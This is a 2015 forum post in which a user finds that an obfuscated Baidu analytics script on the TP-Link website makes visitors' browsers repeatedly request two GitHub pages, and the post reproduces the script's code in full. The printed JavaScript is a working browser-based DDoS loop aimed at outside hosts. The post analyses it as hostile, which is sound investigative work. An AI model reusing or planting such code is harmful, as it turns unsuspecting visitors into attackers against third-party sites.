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Github, Baidu and DDoS


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#1 Romeo29

Romeo29

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Posted 27 March 2015 - 12:57 AM

So a few minutes ago, I decided to revert back to the official firmware for the TP-Link WiFI Router. Visited the Tp-Link website and soon was bombarded with JS alert message "WARNING : malicious javascript detected on this domain".

 

2ia7gqu.jpg

 

What the hell? I debugged the page (thanks to Firefox), and found out a connection to Github https://github.com/cn-nytimes

 

What is going on? Investigated further, and found out that TP-Link site uses code from baidu and it has something special (hm.baidu.com/h.js) (the code was obfuscated):

document.write("<script src='http://libs.baidu.com/jquery/2.0.0/jquery.min.js'>\x3c/script>");
!window.jQuery && document.write("<script src='http://code.jquery.com/jquery-latest.js'>\x3c/script>");
startime = (new Date).getTime();
var count = 0;

function unixtime() {
    var a = new Date;
    return Date.UTC(a.getFullYear(), a.getMonth(), a.getDay(), a.getHours(), a.getMinutes(), a.getSeconds()) / 1E3
}
url_array = ["https://github.com/greatfire", "https://github.com/cn-nytimes"];
NUM = url_array.length;

function r_send2() {
    var a = unixtime() % NUM;
    get(url_array[a])
}

function get(a) {
    var b;
    $.ajax({
        url: a,
        dataType: "script",
        timeout: 1E4,
        cache: !0,
        beforeSend: function() {
            requestTime = (new Date).getTime()
        },
        complete: function() {
            responseTime = (new Date).getTime();
            b = Math.floor(responseTime - requestTime);
            3E5 > responseTime - startime && (r_send(b), count += 1)
        }
    })
}

function r_send(a) {
    setTimeout("r_send2()", a)
}
setTimeout("r_send2()", 2E3);

Looks like they are requesting the code hosted on github over and over again.

 

If many other Chinese websites use code from baidu then it is going to cause some troubles for github quickly.



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